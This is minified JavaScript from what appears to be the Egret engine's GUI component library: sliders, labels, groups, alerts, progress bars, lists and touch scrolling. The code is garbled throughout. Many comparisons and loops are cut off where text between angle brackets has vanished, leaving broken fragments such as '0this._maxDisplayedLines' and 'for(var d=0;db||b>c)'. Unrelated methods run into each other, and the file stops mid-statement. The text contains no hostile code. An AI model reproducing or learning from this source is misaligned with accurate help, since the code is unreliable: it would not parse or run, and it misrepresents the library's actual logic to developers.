b=this.track.globalToLocal(this._moveStageX,this._moveStageY,c.Point.identity),b=this.pointToValue(b.x-this._clickOffsetX,b.y-this._clickOffsetY),b=this.nearestValidValue(b,this.snapInterval);b!=this.pendingValue&&(c.TrackBaseEvent.dispatchTrackBaseEvent(this,c.TrackBaseEvent.THUMB_DRAG),!0==this.liveDragging?(this.setValue(b),this.dispatchEventWith(c.Event.CHANGE)):this.pendingValue=b)}};a.prototype.stage_mouseUpHandler= function(b){d.prototype.stage_mouseUpHandler.call(this,b);!1==this.liveDragging&&this.value!=this.pendingValue&&(this.setValue(this.pendingValue),this.dispatchEventWith(c.Event.CHANGE))};a.prototype.track_mouseDownHandler=function(b){this.enabled&&(b=this.track.globalToLocal(b.stageX-(this.thumb?this.thumb.width:0)/2,b.stageY-(this.thumb?this.thumb.height:0)/2,c.Point.identity),b=this.pointToValue(b.x,b.y),b=this.nearestValidValue(b,this.snapInterval),b!=this.pendingValue&&(0!=this.slideDuration? (this.animator||(this.animator=new c.Animation(this.animationUpdateHandler,this),this.animator.endFunction=this.animationEndHandler),this.animator.isPlaying&&this.stopAnimation(),this.slideToValue=b,this.animator.duration=this.slideDuration*(Math.abs(this.pendingValue-this.slideToValue)/(this.maximum-this.minimum)),this.animator.motionPaths=[{prop:"value",from:this.pendingValue,to:this.slideToValue}],c.UIEvent.dispatchUIEvent(this,c.UIEvent.CHANGE_START),this.animator.play()):(this.setValue(b),this.dispatchEventWith(c.Event.CHANGE))))}; a.prototype.partAdded=function(b,a){d.prototype.partAdded.call(this,b,a);a==this.trackHighlight&&(this.trackHighlight.touchEnabled=!1,this.trackHighlight instanceof c.DisplayObjectContainer&&(this.trackHighlight.touchChildren=!1),this.trackHighlight.visible=this._showTrackHighlight)};return a}(c.TrackBase);c.SliderBase=e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(){d.call(this);this._maxDisplayedLines=0;this.lastUnscaledWidth=NaN;this._padding=0;this._paddingBottom=this._paddingTop=this._paddingRight=this._paddingLeft=NaN;this.addEventListener(c.UIEvent.UPDATE_COMPLETE,this.updateCompleteHandler,this)}__extends(a,d);a.prototype.updateCompleteHandler=function(b){this.lastUnscaledWidth=NaN};Object.defineProperty(a.prototype,"maxDisplayedLines",{get:function(){return this._maxDisplayedLines},set:function(b){this._maxDisplayedLines!= b&&(this._maxDisplayedLines=b,this.invalidateSize(),this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"padding",{get:function(){return this._padding},set:function(b){this._padding!=b&&(this._padding=b,this.invalidateSize(),this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"paddingLeft",{get:function(){return this._paddingLeft},set:function(b){this._paddingLeft!=b&&(this._paddingLeft=b,this.invalidateSize(), this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"paddingRight",{get:function(){return this._paddingRight},set:function(b){this._paddingRight!=b&&(this._paddingRight=b,this.invalidateSize(),this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"paddingTop",{get:function(){return this._paddingTop},set:function(b){this._paddingTop!=b&&(this._paddingTop=b,this.invalidateSize(),this.invalidateDisplayList())},enumerable:!0, configurable:!0});Object.defineProperty(a.prototype,"paddingBottom",{get:function(){return this._paddingBottom},set:function(b){this._paddingBottom!=b&&(this._paddingBottom=b,this.invalidateSize(),this.invalidateDisplayList())},enumerable:!0,configurable:!0});a.prototype.measure=function(){this._invalidatePropertiesFlag&&this.validateProperties();if(this.isSpecialCase())if(isNaN(this.lastUnscaledWidth))this._oldPreferHeight=this._oldPreferWidth=NaN;else{this.measureUsingWidth(this.lastUnscaledWidth); return}var b;isNaN(this.explicitWidth)?1E4!=this.maxWidth&&(b=this.maxWidth):b=this.explicitWidth;this.measureUsingWidth(b)};a.prototype.isSpecialCase=function(){return 1!=this._maxDisplayedLines&&(!isNaN(this.percentWidth)||!isNaN(this.left)&&!isNaN(this.right))&&isNaN(this.explicitHeight)&&isNaN(this.percentHeight)};a.prototype.measureUsingWidth=function(b){var a=this._textField.text;this._textChanged&&(this._textField.text=this._text);var c=isNaN(this._padding)?0:this._padding,d=isNaN(this._paddingLeft)? c:this._paddingLeft,e=isNaN(this._paddingRight)?c:this._paddingRight,g=isNaN(this._paddingTop)?c:this._paddingTop,c=isNaN(this._paddingBottom)?c:this._paddingBottom;this._textField.width=NaN;this._textField.height=NaN;isNaN(b)||(this._textField.width=b-d-e);this.measuredWidth=Math.ceil(this._textField.measuredWidth);this.measuredHeight=Math.ceil(this._textField.measuredHeight);0this._maxDisplayedLines&&(b=this._textField.lineSpacing,this.measuredHeight= (this._textField.size+b)*this._maxDisplayedLines-b);this.measuredWidth+=d+e;this.measuredHeight+=g+c;this._textField.text=a};a.prototype.updateDisplayList=function(b,a){this.$updateDisplayList(b,a);var c=isNaN(this._padding)?0:this._padding,d=isNaN(this._paddingLeft)?c:this._paddingLeft,e=isNaN(this._paddingRight)?c:this._paddingRight,g=isNaN(this._paddingTop)?c:this._paddingTop,c=isNaN(this._paddingBottom)?c:this._paddingBottom;this._textField.x=d;this._textField.y=g;if(this.isSpecialCase()){var l= isNaN(this.lastUnscaledWidth)||this.lastUnscaledWidth!=b;this.lastUnscaledWidth=b;if(l){this._oldPreferHeight=this._oldPreferWidth=NaN;this.invalidateSize();return}}this._invalidateSizeFlag&&this.validateSize();this._textField.visible||(this._textField.visible=!0);this._textField.width=b-d-e;d=a-g-c;this._textField.height=d;0this._maxDisplayedLines&&(e=this._textField.lineSpacing,this._textField.height=Math.min(d,(this._textField.size+e)*this._maxDisplayedLines- e))};return a}(c.TextBase);c.Label=e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(){d.call(this);this._fillColor=16777215;this._fillAlpha=1;this._strokeColor=4473924;this._strokeAlpha=0;this._strokeWeight=1;this.touchChildren=!1}__extends(a,d);Object.defineProperty(a.prototype,"graphics",{get:function(){this._graphics||(this._graphics=new c.Graphics);return this._graphics},enumerable:!0,configurable:!0});a.prototype._render=function(b){this._graphics&&this._graphics._draw(b);d.prototype._render.call(this,b)};Object.defineProperty(a.prototype, "fillColor",{get:function(){return this._fillColor},set:function(b){this._fillColor!=b&&(this._fillColor=b,this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"fillAlpha",{get:function(){return this._fillAlpha},set:function(b){this._fillAlpha!=b&&(this._fillAlpha=b,this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"strokeColor",{get:function(){return this._strokeColor},set:function(b){this._strokeColor!=b&& (this._strokeColor=b,this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"strokeAlpha",{get:function(){return this._strokeAlpha},set:function(b){this._strokeAlpha!=b&&(this._strokeAlpha=b,this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"strokeWeight",{get:function(){return this._strokeWeight},set:function(b){this._strokeWeight!=b&&(this._strokeWeight=b,this.invalidateDisplayList())},enumerable:!0,configurable:!0}); a.prototype._measureBounds=function(){var b=d.prototype._measureBounds.call(this),a=this.width,c=this.height;0b.right&&(b.right=0+a);0+c>b.bottom&&(b.bottom=0+c);return b};a.prototype.updateDisplayList=function(b,a){d.prototype.updateDisplayList.call(this,b,b);var c=this.graphics;c.clear();c.beginFill(this._fillColor,this._fillAlpha);0p||q>r?1:nq?-1:b==d?0:a(e,m)}b.addEventListener(c.Event.REMOVED,this.radioButton_removedHandler,this);this.radioButtons.push(b);this.radioButtons.sort(a);for(var d=0;db||b>c)throw new RangeError('\u7d22\u5f15:"'+b+'"\u8d85\u51fa\u53ef\u89c6\u5143\u7d20\u7d22\u5f15\u8303\u56f4');};a.prototype.addElement=function(b){var a=this.numElements;b.parent==this&&(a=this.numElements-1);return this.addElementAt(b,a)};a.prototype.addElementAt=function(b,a){if(b==this)return b;this.checkForRangeError(a,!0);var c=b.owner;if(c==this)return this.setElementIndex(b,a),b;c&&"removeElement"in c&&b.owner.removeElement(b);this._elementsContent.splice(a, 0,b);this.elementsContentChanged||this._elementAdded(b,a);return b};a.prototype.removeElement=function(b){return this.removeElementAt(this.getElementIndex(b))};a.prototype.removeElementAt=function(b){this.checkForRangeError(b);var a=this._elementsContent[b];this.elementsContentChanged||this._elementRemoved(a,b);this._elementsContent.splice(b,1);return a};a.prototype.removeAllElements=function(){for(var b=this.numElements-1;0<=b;b--)this.removeElementAt(b)};a.prototype.getElementIndex=function(b){return this._elementsContent.indexOf(b)}; a.prototype.setElementIndex=function(b,a){this.checkForRangeError(a);var c=this.getElementIndex(b);-1!=c&&c!=a&&(this.elementsContentChanged||this._elementRemoved(b,c,!1),this._elementsContent.splice(c,1),this._elementsContent.splice(a,0,b),this.elementsContentChanged||this._elementAdded(b,a,!1))};a.prototype.swapElements=function(b,a){this.swapElementsAt(this.getElementIndex(b),this.getElementIndex(a))};a.prototype.swapElementsAt=function(b,a){this.checkForRangeError(b);this.checkForRangeError(a); if(b>a){var c=a;a=b;b=c}else if(b==a)return;var c=this._elementsContent,d=c[b],e=c[a];this.elementsContentChanged||(this._elementRemoved(d,b,!1),this._elementRemoved(e,a,!1));c[b]=e;c[a]=d;this.elementsContentChanged||(this._elementAdded(e,b,!1),this._elementAdded(d,a,!1))};a.prototype._elementAdded=function(b,a,d){"undefined"===typeof d&&(d=!0);b instanceof c.DisplayObject&&this._addToDisplayListAt(b,a,d);d&&this.hasEventListener(c.ElementExistenceEvent.ELEMENT_ADD)&&c.ElementExistenceEvent.dispatchElementExistenceEvent(this, c.ElementExistenceEvent.ELEMENT_ADD,b,a);this.invalidateSize();this.invalidateDisplayList()};a.prototype._elementRemoved=function(b,a,d){"undefined"===typeof d&&(d=!0);d&&this.hasEventListener(c.ElementExistenceEvent.ELEMENT_REMOVE)&&c.ElementExistenceEvent.dispatchElementExistenceEvent(this,c.ElementExistenceEvent.ELEMENT_REMOVE,b,a);b instanceof c.DisplayObject&&b.parent==this&&this._removeFromDisplayList(b,d);this.invalidateSize();this.invalidateDisplayList()};a.prototype.addChild=function(b){throw Error("addChild()"+ a.errorStr+"addElement()\u4ee3\u66ff");};a.prototype.addChildAt=function(b,c){throw Error("addChildAt()"+a.errorStr+"addElementAt()\u4ee3\u66ff");};a.prototype.removeChild=function(b){throw Error("removeChild()"+a.errorStr+"removeElement()\u4ee3\u66ff");};a.prototype.removeChildAt=function(b){throw Error("removeChildAt()"+a.errorStr+"removeElementAt()\u4ee3\u66ff");};a.prototype.setChildIndex=function(b,c){throw Error("setChildIndex()"+a.errorStr+"setElementIndex()\u4ee3\u66ff");};a.prototype.swapChildren= function(b,c){throw Error("swapChildren()"+a.errorStr+"swapElements()\u4ee3\u66ff");};a.prototype.swapChildrenAt=function(b,c){throw Error("swapChildrenAt()"+a.errorStr+"swapElementsAt()\u4ee3\u66ff");};a.errorStr="\u5728\u6b64\u7ec4\u4ef6\u4e2d\u4e0d\u53ef\u7528\uff0c\u82e5\u6b64\u7ec4\u4ef6\u4e3a\u5bb9\u5668\u7c7b\uff0c\u8bf7\u4f7f\u7528";return a}(c.GroupBase);c.Group=e})(egret||(egret={})); __extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(){d.call(this);this._createAllChildren=!1;this.proposedSelectedIndex=a.NO_PROPOSED_SELECTION;this._selectedIndex=-1;this.childOrderingChanged=this.notifyTabBar=!1;this._setLayout(new c.BasicLayout)}__extends(a,d);Object.defineProperty(a.prototype,"layout",{get:function(){return this._layout},set:function(b){},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"createAllChildren",{get:function(){return this._createAllChildren},set:function(b){if(this._createAllChildren!= b&&(this._createAllChildren=b)){b=this._getElementsContent();for(var a=b.length,d=0;db||b>c)throw new RangeError('\u7d22\u5f15:"'+b+'"\u8d85\u51fa\u53ef\u89c6\u5143\u7d20\u7d22\u5f15\u8303\u56f4');}; a.prototype.addElement=function(b){var a=this.numElements;b.owner==this&&(a=this.numElements-1);return this.addElementAt(b,a)};a.prototype.addElementAt=function(b,a){this.checkForRangeError(a,!0);var c=b.owner;if(c==this)return this.setElementIndex(b,a),b;c&&"removeElement"in c&&c.removeElement(b);this._elementsContent.splice(a,0,b);this._hostComponent?this._elementAdded(b,a):b.ownerChanged(this);return b};a.prototype.removeElement=function(b){return this.removeElementAt(this.getElementIndex(b))}; a.prototype.removeElementAt=function(b){this.checkForRangeError(b);var a=this._elementsContent[b];this._hostComponent?this._elementRemoved(a,b):a.ownerChanged(null);this._elementsContent.splice(b,1);return a};a.prototype.getElementIndex=function(b){return this._elementsContent.indexOf(b)};a.prototype.setElementIndex=function(b,a){this.checkForRangeError(a);var c=this.getElementIndex(b);-1!=c&&c!=a&&(this._hostComponent&&this._elementRemoved(b,c,!1),this._elementsContent.splice(c,1),this._elementsContent.splice(a, 0,b),this._hostComponent&&this._elementAdded(b,a,!1))};a.prototype._elementAdded=function(b,a,d){"undefined"===typeof d&&(d=!0);b.ownerChanged(this);b instanceof c.DisplayObject&&this._hostComponent._addToDisplayListAt(b,a,d);d&&this.hasEventListener(c.ElementExistenceEvent.ELEMENT_ADD)&&c.ElementExistenceEvent.dispatchElementExistenceEvent(this,c.ElementExistenceEvent.ELEMENT_ADD,b,a);this._hostComponent.invalidateSize();this._hostComponent.invalidateDisplayList()};a.prototype._elementRemoved=function(b, a,d){"undefined"===typeof d&&(d=!0);d&&this.hasEventListener(c.ElementExistenceEvent.ELEMENT_REMOVE)&&c.ElementExistenceEvent.dispatchElementExistenceEvent(this,c.ElementExistenceEvent.ELEMENT_REMOVE,b,a);b instanceof c.DisplayObject&&b.parent==this._hostComponent&&this._hostComponent._removeFromDisplayList(b,d);b.ownerChanged(null);this._hostComponent.invalidateSize();this._hostComponent.invalidateDisplayList()};Object.defineProperty(a.prototype,"states",{get:function(){return this._states},set:function(b){this._setStates(b)}, enumerable:!0,configurable:!0});a.prototype._setStates=function(b){b||(b=[]);if("string"==typeof b[0])for(var a=b.length,d=0;db||b>=this.dataProvider.length)return null;var a=this.indexToRenderer[b];if(!a){var a=this.dataProvider.getItemAt(b),d=this.createVirtualRenderer(b); this.indexToRenderer[b]=d;this.updateRenderer(d,b,a);this.createNewRendererFlag&&("validateNow"in d&&d.validateNow(),this.createNewRendererFlag=!1,c.RendererExistenceEvent.dispatchRendererExistenceEvent(this,c.RendererExistenceEvent.RENDERER_ADD,d,b,a));a=d}return a};a.prototype.freeRendererByIndex=function(b){if(this.indexToRenderer[b]){var a=this.indexToRenderer[b];delete this.indexToRenderer[b];a&&a instanceof c.DisplayObject&&this.doFreeRenderer(a)}};a.prototype.doFreeRenderer=function(b){var a= this.rendererToClassMap[b.hashCode].hashCode;this.freeRenderers[a]||(this.freeRenderers[a]=[]);this.freeRenderers[a].push(b);b.visible=!1};a.prototype.invalidateSize=function(){this.createNewRendererFlag||d.prototype.invalidateSize.call(this)};a.prototype.createVirtualRenderer=function(b){b=this.dataProvider.getItemAt(b);b=this.itemToRendererClass(b);var a=b.hashCode,c=this.freeRenderers;if(c[a]&&0=a&&(d[f]=g+1)}this.indexToRenderer.splice(a,0,null)}}else d=this.itemToRendererClass(b),d=this.createOneRenderer(d),this.indexToRenderer.splice(a,0,d),d&&(this.updateRenderer(d,a,b),c.RendererExistenceEvent.dispatchRendererExistenceEvent(this, c.RendererExistenceEvent.RENDERER_ADD,d,a,b))};a.prototype.itemRemoved=function(b,a){this.layout&&this.layout.elementRemoved(a);var d=this.virtualRendererIndices;if(d&&0a&&(d[g]=l-1)}-1!=e&&d.splice(e,1)}d=this.indexToRenderer[a];this.indexToRenderer.length>a&&this.indexToRenderer.splice(a,1);c.RendererExistenceEvent.dispatchRendererExistenceEvent(this,c.RendererExistenceEvent.RENDERER_REMOVE,d,a,b);d&&d instanceof c.DisplayObject&& this.recycle(d)};a.prototype.recycle=function(b){this._removeFromDisplayList(b);"ownerChanged"in b&&b.ownerChanged(null);var a=this.rendererToClassMap[b.hashCode].hashCode;this.recyclerDic[a]||(this.recyclerDic[a]=new c.Recycler);this.recyclerDic[a].push(b)};a.prototype.resetRenderersIndices=function(){if(0!=this.indexToRenderer.length)if(this.layout&&this.layout.useVirtualLayout)for(var b=this.virtualRendererIndices,a=b.length,c=0;cthis.selectedIndex?this.dataProvider.getItemAt(this.selectedIndex):void 0},set:function(b){this._setSelectedItem(b,!1)},enumerable:!0,configurable:!0});a.prototype._setSelectedItem=function(b, a){"undefined"===typeof a&&(a=!1);this.selectedItem!==b&&(a&&(this._dispatchChangeAfterSelection=this._dispatchChangeAfterSelection||a),this._pendingSelectedItem=b,this.invalidateProperties())};Object.defineProperty(a.prototype,"useVirtualLayout",{get:function(){return this._getUseVirtualLayout()},set:function(b){this._setUseVirtualLayout(b)},enumerable:!0,configurable:!0});a.prototype._getUseVirtualLayout=function(){return this.layout?this.layout.useVirtualLayout:this._useVirtualLayout};a.prototype._setUseVirtualLayout= function(b){b!=this.useVirtualLayout&&(this._useVirtualLayout=b,this.layout&&(this.layout.useVirtualLayout=b))};a.prototype.commitProperties=function(){d.prototype.commitProperties.call(this);this.dataProviderChanged&&(this._doingWholesaleChanges=this.dataProviderChanged=!1,0<=this.selectedIndex&&this.dataProvider&&this.selectedIndexd&&(this._proposedSelectedIndex=d),this.requireSelection&& this._proposedSelectedIndex==a.NO_SELECTION&&this.dataProvider&&0b.x+this.moveArea.width&&(a=35-this.moveArea.width);b.x>this.stage.stageWidth-20&&(a=this.stage.stageWidth-20);20>b.y+this.moveArea.height&&(c=20-this.moveArea.height);b.y>this.stage.stageHeight-20&&(c=this.stage.stageHeight-20);this.x+=a-b.x;this.y+=c-b.y}}; return a}(c.Panel);c.TitleWindow=e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(){d.call(this);this._contentText=this._secondButtonLabel=this._firstButtonLabel="";this.hostComponentKey="egret.Alert"}__extends(a,d);a.show=function(b,d,e,k,f,g,l){"undefined"===typeof b&&(b="");"undefined"===typeof d&&(d="");"undefined"===typeof e&&(e=null);"undefined"===typeof k&&(k="\u786e\u5b9a");"undefined"===typeof f&&(f="");"undefined"===typeof g&&(g=!0);"undefined"===typeof l&&(l=!0);var n=new a;n.contentText=b;n.title=d;n._firstButtonLabel=k;n._secondButtonLabel= f;n.closeHandler=e;c.PopUpManager.addPopUp(n,g,l);return n};Object.defineProperty(a.prototype,"firstButtonLabel",{get:function(){return this._firstButtonLabel},set:function(b){this._firstButtonLabel!=b&&(this._firstButtonLabel=b,this.firstButton&&(this.firstButton.label=b))},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"secondButtonLabel",{get:function(){return this._secondButtonLabel},set:function(b){this._secondButtonLabel!=b&&(this._secondButtonLabel=b,!this.secondButton|| null!=b&&""!=b||(this.secondButton.includeInLayout=this.secondButton.visible=""!=this._secondButtonLabel&&null!=this._secondButtonLabel))},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"contentText",{get:function(){return this._contentText},set:function(b){this._contentText!=b&&(this._contentText=b,this.contentDisplay&&(this.contentDisplay.text=b))},enumerable:!0,configurable:!0});a.prototype.onClose=function(b){c.PopUpManager.removePopUp(this);if(null!=this.closeHandler){var d= new c.CloseEvent(c.CloseEvent.CLOSE);switch(b.currentTarget){case this.firstButton:d.detail=a.FIRST_BUTTON;break;case this.secondButton:d.detail=a.SECOND_BUTTON}this.closeHandler(d)}};a.prototype.closeButton_clickHandler=function(b){d.prototype.closeButton_clickHandler.call(this,b);c.PopUpManager.removePopUp(this);b=new c.CloseEvent(c.CloseEvent.CLOSE,!1,!1,a.CLOSE_BUTTON);null!=this.closeHandler&&this.closeHandler(b)};a.prototype.partAdded=function(b,a){d.prototype.partAdded.call(this,b,a);a==this.contentDisplay? this.contentDisplay.text=this._contentText:a==this.firstButton?(this.firstButton.label=this._firstButtonLabel,this.firstButton.addEventListener(c.TouchEvent.TOUCH_TAP,this.onClose,this)):a==this.secondButton&&(this.secondButton.label=this._secondButtonLabel,this.secondButton.includeInLayout=this.secondButton.visible=""!=this._secondButtonLabel&&null!=this._secondButtonLabel,this.secondButton.addEventListener(c.TouchEvent.TOUCH_TAP,this.onClose,this))};a.prototype.partRemoved=function(b,a){d.prototype.partRemoved.call(this, b,a);a==this.firstButton?this.firstButton.removeEventListener(c.TouchEvent.TOUCH_TAP,this.onClose,this):a==this.secondButton&&this.secondButton.removeEventListener(c.TouchEvent.TOUCH_TAP,this.onClose,this)};a.FIRST_BUTTON="firstButton";a.SECOND_BUTTON="secondButton";a.CLOSE_BUTTON="closeButton";return a}(c.TitleWindow);c.Alert=e})(egret||(egret={})); __extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(){d.call(this);this._slideDuration=500;this._direction=c.ProgressBarDirection.LEFT_TO_RIGHT;this.animationValue=0;this.trackResizedOrMoved=!1;this.hostComponentKey="egret.ProgressBar"}__extends(a,d);Object.defineProperty(a.prototype,"labelFunction",{get:function(){return this._labelFunction},set:function(b){this._labelFunction!=b&&(this._labelFunction=b,this.invalidateDisplayList())},enumerable:!0,configurable:!0});a.prototype.valueToLabel=function(b,a){return null!= this.labelFunction?this._labelFunction(b,a):b+" / "+a};Object.defineProperty(a.prototype,"slideDuration",{get:function(){return this._slideDuration},set:function(b){this._slideDuration!=b&&(this._slideDuration=b,this.animator&&this.animator.isPlaying&&(this.animator.stop(),this._setValue(this.slideToValue)))},enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"direction",{get:function(){return this._direction},set:function(b){this._direction!=b&&(this._direction=b,this.invalidateDisplayList())}, enumerable:!0,configurable:!0});Object.defineProperty(a.prototype,"value",{get:function(){return this._getValue()},set:function(b){this._getValue()!=b&&(this._setValue(b),0f||Infinity===f)f=0;var g=Math.round(b/a*e);if(isNaN(g)||0>g||Infinity===g)g=0;var l=this.track.localToGlobal(0, 0),n=this.globalToLocal(l.x,l.y,c.Point.identity),l=n.x,n=n.y;switch(this._direction){case c.ProgressBarDirection.LEFT_TO_RIGHT:this.thumb.width=f;this.thumb.height=e;this.thumb.x=l;break;case c.ProgressBarDirection.RIGHT_TO_LEFT:this.thumb.width=f;this.thumb.height=e;this.thumb.x=l+d-f;break;case c.ProgressBarDirection.TOP_TO_BOTTOM:this.thumb.width=d;this.thumb.height=g;this.thumb.y=n;break;case c.ProgressBarDirection.BOTTOM_TO_TOP:this.thumb.width=d,this.thumb.height=g,this.thumb.y=n+e-g}}this.labelDisplay&& (this.labelDisplay.text=this.valueToLabel(b,a))};return a}(c.Range);c.ProgressBar=e})(egret||(egret={}));(function(c){var e=function(){function c(){}c.LEFT_TO_RIGHT="leftToRight";c.RIGHT_TO_LEFT="rightToLeft";c.TOP_TO_BOTTOM="topToBottom";c.BOTTOM_TO_TOP="bottomToTop";return c}();c.ProgressBarDirection=e})(egret||(egret={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(){d.call(this);this.hostComponentKey="egret.HSlider"}__extends(a,d);a.prototype.pointToValue=function(b,a){if(!this.thumb||!this.track)return 0;var c=this.maximum-this.minimum,d=this.track.layoutBoundsWidth-this.thumb.layoutBoundsWidth;return this.minimum+(0!=d?b/d*c:0)};a.prototype.updateSkinDisplayList=function(){if(this.thumb&&this.track){var b=this.track.layoutBoundsWidth-this.thumb.layoutBoundsWidth,a=this.maximum-this.minimum,b=0c.ListBase.NO_SELECTION&&(this._proposedSelectedIndices?-1==this._proposedSelectedIndices.indexOf(this.selectedIndex)&&this._proposedSelectedIndices.push(this.selectedIndex):this._proposedSelectedIndices=[this.selectedIndex]);this._proposedSelectedIndices&&(-1!=this._proposedSelectedIndices.indexOf(a)&&this.itemSelected(a,!0),this.commitMultipleSelection());b&&e&&(this._dispatchChangeAfterSelection&&(c.IndexChangeEvent.dispatchIndexChangeEvent(this,c.IndexChangeEvent.CHANGE, a,this._selectedIndex),this._dispatchChangeAfterSelection=!1),c.UIEvent.dispatchUIEvent(this,c.UIEvent.VALUE_COMMIT));return e};a.prototype.isValidIndex=function(b,a,c){return this.dataProvider&&0<=b&&b=b;a--)d.splice(0,0,a);else if(c)if(0b.width?!0:!1;break;case "on":a=!0;break;case "off":a=!1}this._horizontalCanScroll=a;var c;switch(this._verticalScrollPolicy){case "auto":c=b.contentHeight>b.height?!0:!1;break;case "on":c=!0;break;case "off":c=!1}this._verticalCanScroll=c;return a||c};a.prototype.onTouchBegin=function(b){if(!b.isDefaultPrevented()&&this.checkScrollPolicy()){this.verticalAnimator&& this.verticalAnimator.isPlaying&&this.verticalAnimator.stop();this.horizontalAnimator&&this.horizontalAnimator.isPlaying&&this.horizontalAnimator.stop();var a=this._viewport,d=a.horizontalScrollPosition,a=a.verticalScrollPosition;this._offsetPointX=d+b.stageX;this._offsetPointY=a+b.stageY;this._velocityY=this._velocityX=0;this._previousVelocityX.length=0;this._previousVelocityY.length=0;this._previousTouchTime=c.getTimer();this._previousTouchX=this._startTouchX=this._currentTouchX=b.stageX;this._previousTouchY= this._startTouchY=this._currentTouchY=b.stageY;this._startHorizontalScrollPosition=d;this._startVerticalScrollPosition=a;c.UIGlobals.stage.addEventListener(c.TouchEvent.TOUCH_MOVE,this.onTouchMove,this);c.UIGlobals.stage.addEventListener(c.TouchEvent.TOUCH_END,this.onTouchEnd,this);c.UIGlobals.stage.addEventListener(c.Event.LEAVE_STAGE,this.onTouchEnd,this);this.addEventListener(c.Event.ENTER_FRAME,this.enterFrameHandler,this);b.preventDefault()}};a.prototype.onTouchMove=function(b){this._currentTouchX= b.stageX;this._currentTouchY=b.stageY;this.delayTouchBeginEvent&&(this.delayTouchBeginEvent=null,this.touchBeginTimer.stop());var a=this._viewport;if(this._horizontalCanScroll){var c=this._offsetPointX-b.stageX;0>c&&(c*=0.5);c>a.contentWidth-a.width&&(c=0.5*(c+a.contentWidth-a.width));a.horizontalScrollPosition=c}this._verticalCanScroll&&(b=this._offsetPointY-b.stageY,0>b&&(b*=0.5),b>a.contentHeight-a.height&&(b=0.5*(b+a.contentHeight-a.height)),a.verticalScrollPosition=b)};a.prototype.onTouchEnd= function(a){c.UIGlobals.stage.removeEventListener(c.TouchEvent.TOUCH_MOVE,this.onTouchMove,this);c.UIGlobals.stage.removeEventListener(c.TouchEvent.TOUCH_END,this.onTouchEnd,this);c.UIGlobals.stage.removeEventListener(c.Event.LEAVE_STAGE,this.onTouchEnd,this);this.removeEventListener(c.Event.ENTER_FRAME,this.enterFrameHandler,this);this._horizontalCanScroll&&this.checkHorizontalScrollPosition();this._verticalCanScroll&&this.checkVerticalScrollPosition()};a.easeOut=function(a){a-=1;return a*a*a+1}; a.prototype.enterFrameHandler=function(a){a=c.getTimer();var d=a-this._previousTouchTime;0=Math.abs(d)?this.finishScrollingHorizontally():(c=this.getAnimationDatas(d,c,b),this.throwHorizontally(c[0],c[1]))};a.prototype.checkVerticalScrollPosition=function(){for(var b=this._viewport,c=b.verticalScrollPosition,b=b.contentHeight- b.height,d=2.33*this._velocityY,e=this._previousVelocityY.length,f=2.33,g=0;g=Math.abs(d)?this.finishScrollingVertically():(c=this.getAnimationDatas(d,c,b),this.throwVertically(c[0],c[1]))};a.prototype.getAnimationDatas=function(b,c,d){var e=Math.abs(b),f=0,g=c+(b-0.02)/Math.log(0.998);if(0>g||g>d)for(g=c;0.02g||g>d?0.998*b*0.95:0.998*b,f++;else f=Math.log(0.02/e)/Math.log(0.998);a.animationData|| (a.animationData=[0,0]);b=a.animationData;b[0]=g;b[1]=f;return b};a.prototype.finishScrollingHorizontally=function(a){var c=this._viewport;a=c.horizontalScrollPosition;var c=c.contentWidth-c.width,d=a;0>a&&(d=0);a>c&&(d=c);this.throwHorizontally(d,300)};a.prototype.throwHorizontally=function(b,d){"undefined"===typeof d&&(d=500);var e=this._viewport.horizontalScrollPosition;e!=b&&(this.horizontalAnimator||(this.horizontalAnimator=new c.Animation(this.horizontalUpdateHandler,this),this.horizontalAnimator.endFunction= this.finishScrollingHorizontally,this.horizontalAnimator.easerFunction=a.easeOut),this.horizontalAnimator.isPlaying&&this.horizontalAnimator.stop(),this.horizontalAnimator.duration=d,this.horizontalAnimator.motionPaths=[{prop:"hsp",from:e,to:b}],this.horizontalAnimator.play())};a.prototype.horizontalUpdateHandler=function(a){this._viewport.horizontalScrollPosition=a.currentValue.hsp};a.prototype.finishScrollingVertically=function(a){var c=this._viewport;a=c.verticalScrollPosition;var c=c.contentHeight- c.height,c=Math.max(0,c),d=a;0>a&&(d=0);a>c&&(d=c);this.throwVertically(d,300)};a.prototype.throwVertically=function(b,d){"undefined"===typeof d&&(d=500);var e=this._viewport.verticalScrollPosition;e!=b&&(this.verticalAnimator||(this.verticalAnimator=new 